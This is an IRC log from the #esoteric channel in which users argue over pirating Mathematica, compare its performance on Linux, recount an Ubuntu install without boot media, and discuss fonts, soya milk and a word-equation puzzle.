:fax!unknown@unknown.invalid PRIVMSG #esoteric :firsly: shut up, you're an idiot < 1269116840 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I like how you both called each other idiots without even knowing what you were actually going to say < 1269116840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you continue calling me an idiot without basis I will simply put you on /ignore. < 1269116860 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :good then you might stop telling me I suck < 1269116873 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Well, I know he's a Wolfram fanboy and calling copyright infringement stealing along with the brash wording of "why the fuck would you steal mathematica" gave me a pretty good predictor < 1269116883 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: I haven't done that but if you want to distort something I've said that way I won't stop you < 1269116899 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, you're such an idiot you can't even remember something that happened this morning < 1269116983 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :just grepped the logs, I never said you sucked < 1269117007 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :okay well you could also learn to spell < 1269117032 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :07:00:58 I don't know < 1269117032 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :07:01:17 :| < 1269117032 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :07:01:20 u suk < 1269117036 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what? < 1269117050 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :5.5 hours ago < 1269117061 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and it's rude to be all impatient like "I'm waiting" while someones trying to think < 1269117083 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wow you're pissed off because I wasn't being totally serious all the time? < 1269117090 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's not like I didn't gratuitously adorn things with emoticons either < 1269117092 0 :Slereah!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269117097 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : you're way too hypersensitive < 1269117105 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :s/^ // < 1269117147 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise: redunant < 1269117182 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yawn. < 1269117372 0 :Slereah!~Slereah@ANantes-259-1-69-66.w92-135.abo.wanadoo.fr JOIN :#esoteric < 1269117480 0 :olsner_!unknown@unknown.invalid QUIT :Quit: olsner_ < 1269117622 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Does it have any Linux-related shittiness? <-- some < 1269117630 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, if you by that means "buggy" < 1269117640 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you need to disable the java stuff or it bogs down the whole system < 1269117645 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and you need to get some replacement files < 1269117654 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to fix other causes of bogging down the whole system < 1269117661 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the java stuff is needed for the built in help stuff < 1269117727 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise be nice to me :/ < 1269117733 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I haven't run into any system-bogging, and the help has worked too :-P < 1269117740 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, 64-bit edition? < 1269117748 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That too, yes < 1269117752 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, check number of wakeups with powertop while mathematica is running < 1269117758 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is caused around 5000 per seconds < 1269117768 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if java link is enabled < 1269117774 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That's not what I'd call "bogging down the whole system" < 1269117777 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, on a laptop that just doesn't work < 1269117788 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well true, that is what the other replacement files fix < 1269117789 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's using excessive amounts of power, but that's it < 1269117793 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the 100% CPU usage < 1269117807 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, see, the 100% CPU usage I haven't run into :-P < 1269117809 0 :sebbu2!~sebbu@ADijon-152-1-10-45.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269117812 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well I did < 1269117832 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: so be nice to me < 1269117837 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :fuck you < 1269117850 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: see, this is /not/ the way you ask me to be nice to you < 1269117855 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, why do you think alise is an idiot for pirating mathematica < 1269117859 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I would like to hear a reason < 1269117866 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: because he's a wolfram fanboy and calls copyright infringement "stealing" < 1269117867 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, I just called him an idiot because he said that to me < 1269117870 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because this is ridiculous from both of you < 1269117873 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise you don't know anything < 1269117875 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<3 Wolfram + Piracy is evil = you monster < 1269117882 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :seriouly just stop guessing < 1269117883 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : alise why the fuck would you steal mathematica < 1269117883 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Oh no, not an idiotic copyright defender. < 1269117883 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : fuck you < 1269117883 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : you're the idiot < 1269117883 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269117883 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1269117884 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that < 1269117886 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is what I mean < 1269117893 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, that's what I commented on earlier < 1269117896 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, please explain what you meant with your first line there < 1269117897 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yeah I just explained it < 1269117909 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, no, you didn't < 1269117919 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, you didn't explain "alise why the fuck would you steal mathematica" < 1269117926 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's to explain < 1269117934 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, that statement < 1269117942 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I can think of lots of reason to pirate mathematica < 1269117949 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so what is your reasons not to < 1269117992 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh and wolfram is somwhat insane. He needs to get medical help before his ego kills him < 1269118125 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://upload.wikimedia.org/wikipedia/commons/0/06/Pentatope_of_70_spheres_animation_original.gif < 1269118440 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269118448 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm going to boot into Ubuntu now. < 1269118452 0 :alise!unknown@unknown.invalid QUIT : < 1269118826 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i'd boot your ubu- oh. :| < 1269118982 0 :songhead95!~jay@c-75-67-0-54.hsd1.ma.comcast.net JOIN :#esoteric < 1269119016 0 :songhead95!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269119058 0 :songhead95!~jay@c-75-67-0-54.hsd1.ma.comcast.net JOIN :#esoteric < 1269119204 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269119534 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I don't suppose you happen to be on T-76.5753, incidentally? < 1269119553 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No, I'm not. < 1269119603 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Why not! < 1269119625 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Too much work as it is. < 1269119639 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Admittedly I had no reason to suspect you were, except that it would've been a Fancy Coincidence. < 1269119713 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There's the © and ® characters in the "special characters" key-list on the N900, but no ™ :/ .. maybe because the first two are in latin-1 and that one is not, but that's not a good reason. < 1269120782 0 :MigoMipo!~migomipo@84-217-8-28.tn.glocalnet.net JOIN :#esoteric < 1269121249 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, worrying that alise hasn't come back < 1269121569 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :does ey do this often? < 1269121951 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ais523: It's the Ubuntu, it's razzling-dazzling multimedia interface has locked him into a trance. < 1269121962 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269121982 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :When you gaze into GNOME, the gnome also gazes at you. < 1269121992 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Your apostrophes are extraneous again < 1269122006 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I am being very bad with them today for some reason. < 1269122029 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I shall try to avoid all contractions, maybe that will help. < 1269122060 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If you avoid possessives as well you should be fine. < 1269123506 0 :alise!~alise___@212.183.140.35 JOIN :#esoteric < 1269123510 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Le puff, le pant. < 1269123589 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Success, evidently. < 1269123595 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Of a sort... < 1269123630 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Who knew that you needed to do a forced lazy unmount of the partition the system is running on to install Ubuntu? < 1269123816 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It must be part of the built-in intelligence test, to see if you are Worthy of Ubuntu. < 1269123848 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Someone ping me. < 1269123851 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :As in highlight. < 1269123903 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: < 1269123907 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yay, you're back < 1269123910 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yay, it worked. < 1269123921 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I was wondering why you took so long to come back < 1269123927 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: umount -f -l (a mount from the partition the system is running on) < 1269123937 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I didn't need to do that to install < 1269123942 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I did! < 1269123953 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I don't think I used the command line at all, come to think of it < 1269123962 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :except afterwards, to compile the wifi card driver < 1269123985 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, I was running the LiveCD from an NTFS partition. < 1269123990 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And /cdrom was C:\ whilst / was a subset of C:\. < 1269124003 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I had to force-unmount /cdrom (it refused to do so because the device was being used) and then remount it again before it got to GRUB. < 1269124026 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :NTFS? why? < 1269124050 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because the Toshiba Satellite, as you know, has no optical drive; and I didn't have any USB sticks handy < 1269124056 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :aha < 1269124065 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :didn't realise the lack of a USB stick < 1269124085 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, don't you get USB sticks with breakfast cereal nowadays? < 1269124101 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1269124102 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I don't < 1269124107 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION installs ttf-droid to change the UI font
< 1269124112 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm a bit bored of DejaVu Sans. < 1269124118 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1269124125 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: What sort of breakfast cereal do you buy? < 1269124128 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :By "I'm a bit bored of", I mean "I think that a really boring font is". < 1269124139 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I was going to say "what's wrong with DejaVu Sans", but boringness is a fine reason < 1269124141 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Is ttf-droid the Android font? < 1269124142 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I don't. Maybe that's the problem. < 1269124157 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I eat oats for breakfast, but persuade someone else to buy them < 1269124165 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :DejaVu Sans is a bit too wide especially. < 1269124170 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Yes. < 1269124176 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's, if nothing else, not boring. < 1269124184 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: what; raw oats? < 1269124195 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :with soya milk < 1269124203 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Vegan? < 1269124209 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lactose intolerant? < 1269124210 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or just like it? < 1269124212 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm not vegan, although my breakfast is by chance < 1269124216 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's lactose intolerance < 1269124221 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I have the Android monospaced font on the N900 in use in the terminal; it's a lot nicer to the Nokia font. Can't really say whether I prefer it over DejaVu Sans Mono, but then again, I'm pretty boring too. < 1269124237 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, I can have a bit of lactose per week, but not too much < 1269124239 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :3% [1 ttf-droid 94119/2,771kB 3%] // and it freezes... < 1269124246 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :besides, I've been drinking soya milk for decades, now < 1269124271 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and due to the way acquired tastes work, I now can't stand to drink any other sort of milk < 1269124300 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i'm a goat < 1269124422 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"We have commissioned a new font to be developed both for the logo�s of Ubuntu and Canonical, and for use in the interface. The font will be called Ubuntu, and will be a modern humanist font that is optimised for screen legibility." < 1269124425 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Let's hope that's nice, then. < 1269124596 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :alise: is this your first time using linux? < 1269124600 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Haha, no. < 1269124605 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not by a long shot. < 1269124618 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :First time installing it on this /machine/, yes... < 1269124626 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :First time installing it without an optical drive or USB stick... yeah. < 1269124635 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :tried anything other than ubuntu? < 1269124643 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1269124684 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I've used Debian, Arch, almost Slackware (its installer hates me; or more probably my systems), even tried getting Mastodon to work... I'd say I've tried stali, but it isn't even out yet. < 1269124694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I also tried Mandriva when I was young and naive. < 1269124702 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I've also used FreeBSD. < 1269124719 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION uses Oxford University as his Ubuntu mirror
< 1269124728 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :At least it works. < 1269124737 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Albeit rather terribly slowly. < 1269124742 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Slackware (or was that Debian) had a nice, standard "install without any boot media" officially-supported installation strategy, which (I think) involved dd'ing the ISO image on the partition you were going to use for swap, then booting the installer off that (kernel with loadlin, I think; this was for from-DOS installs), and activating swap only after the installation was done. < 1269124759 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: Oh, I've also used Plan 9 and researched its architecture rather extensively. < 1269124768 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That is still supported in Slackware. < 1269124778 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And I think the Debian install manual describes how to do the same. < 1269124787 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Can you still install Slackware from a huge pile of floppies?-) < 1269124800 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: No, they stopped that a couple releases ago. < 1269124805 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Aw. < 1269124810 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Stop using freaky smilies man < 1269124813 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :? is not eyes < 1269124823 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It is a FREAKY eye. < 1269124844 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Admittedly floppy distributions were getting a bit ridiculous when the number of floppies goes >20 or so. < 1269124857 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1269124874 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Download on: < 1269124874 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :* DVD < 1269124874 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :* Floppies < 1269124901 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I think they had a release of that. < 1269124946 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Win95 OSR 2.1 was a 23-floppy release, it seems. (I have forgotten the exact count.) < 1269124953 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :26, I mean. < 1269124969 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Definitely 26. < 1269124977 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I actually installed it from floppy once. < 1269124987 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"I know. I was THERE." < 1269124994 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I wonder why it is that none of my installations ever go smoothly? < 1269125116 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: what's the best ubuntu mirror :x < 1269125124 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i need one insanely fast because my connection sucks. < 1269125133 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I use the one in Sweden when there's heavy load < 1269125147 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which one? < 1269125158 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :atm, though, I think I'm on the default UK one < 1269125161 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which should be on the menus < 1269125214 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries the swedish kernel.org
< 1269125351 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Bah < 1269125545 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :mirrorservice.org is usually reliable for me < 1269125646 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1269125735 0 :alise!unknown@unknown.invalid QUIT :Quit: Leaving < 1269125802 0 :alise!~alise___@212.183.140.35 JOIN :#esoteric < 1269125818 0 :alise!unknown@unknown.invalid QUIT :Client Quit < 1269126104 0 :alise_!~alise___@212.183.140.33 JOIN :#esoteric < 1269126108 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Adheration. < 1269126222 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :What's the fanclub for Black Adder called? < 1269126224 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Soya "milk". Milk comes from mammals. Soya isn't one. :-> < 1269126226 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Adder Nation < 1269126226 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :8D < 1269126263 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: well, soya milk's the usual name < 1269126266 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: Milk snobbery? That is a new one. < 1269126352 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :milk comes from coconuts < 1269126406 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ooo burn < 1269126498 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :There are lots of other products that are called by incorrect names. Like various "Creams" (that are really mostly water, soft fat and additives). < 1269126514 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :豆乳 comes from beans! < 1269126577 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: I'd say something about prescriptivism, but - < 1269126616 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Then there are downright oxymorons like "Fat-free mayonnaise". < 1269126661 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1269126738 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1269126745 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hi oklopol < 1269126761 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hi alise_ < 1269126779 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i was watching a priest dance an erotic dance < 1269126791 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :okay. < 1269126979 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol -- do you know chevally warning < 1269127000 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :no < 1269127006 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's a good theorm :D < 1269127009 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :number theory < 1269127022 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol I cannot solve this OR thing :/ < 1269127049 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well there are a few concepts you don't know that it depends on < 1269127088 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean really basic concepts, just that you might not realize they're important < 1269127110 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Oh, and then there is some misleading names like "milk drink". That's not Milk (something has been done to it so it can't be sold as milk). Oh and don't search for "soya milk" either, its "soya drink". < 1269127263 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Oh, and those various "Creams" fortunately can't be sold as creams. :-) < 1269127433 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Wonder what milk of Bosavi woolly rat would taste like... :-) < 1269127486 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the idea was you do U=V OR U=W by either making U match with V or W, for this you'll need to have ...U... = ...V...W..., and then do some magic to make U only hit exactly one of those two. for this you'll need to at least be able to build primitive words out of U's, V's and W's < 1269127576 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ofc i can give more concrete hints as well, or just show you the whole proof; there's a lot more interesting stuff to prove where this came from.... :P < 1269127675 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :(if anyone else is interested, the context is to represent the OR of two equations on words as one) < 1269127803 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269127828 0 :oklokok!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1269127870 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, that doesn't make sense :| < 1269127875 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :which part < 1269127879 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if U only hits one of them what happens to the rest < 1269127899 0 :alise!~alise___@212.183.140.53 JOIN :#esoteric < 1269127918 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Good mrr'nng America. < 1269127932 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :who cares? we know it can't hit anything but either of them, if it can hit one of them, the OR is true, if it can't hit either, then it can't hit anything, and the OR is false < 1269127944 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269127946 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yay, ubuntu beta < 1269127977 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :for ...U... = ...V...W... < 1269127992 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the both sides have to be the same length < 1269128005 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so how can we have ... = ...V... OR ... = ...W... < 1269128006 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :you have to find such values for ... that U can only be on top of either V or W, then it can be on one of them iff either of the equations is solvable, we just have to make sure it can't be on top of anything else < 1269128034 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :err you can just have some new variables in ... that fill the rest < 1269128040 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: The major changes are in the GNOME version though. < 1269128043 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269128053 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269128065 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I don't care, I'm happy the upgrade was smooth < 1269128067 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it often isn't < 1269128083 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :like zUz' = ...V...W..., not that i'm saying the left side can actually be that simple < 1269128124 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :U can be anything, so there's no way to guarantee U can't be on top of say just the left half of V < 1269128166 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh well those should be Z and Z' < 1269128179 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i can't learn this convention it seems < 1269128181 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269128237 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :3oh < 1269128239 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :o < 1269128281 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :anyway i find this trivial because i've seen the solution, but it may have been an open problem at some point, don't really know < 1269128381 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Isn't it interesting that one of the best programming /environments/, Mathematica, is paired with one of the worst programming /languages/? < 1269128401 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: the environment is tained by the language, I think < 1269128403 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*tainted < 1269128407 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, I hate the way it does line breaks < 1269128422 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as in, mathematica the IDE suffers from being written in mathematica the lang < 1269128455 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it isn't < 1269128457 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :the length of the RHS of the solution i have is 38. so you're not going to find it by any sort of brute force < 1269128464 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :mm... but if you don't run into the shittiness of the language, it's very nice < 1269128473 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok haha I'm not going to find it at all < 1269128478 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1269128488 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION grabs oklokok
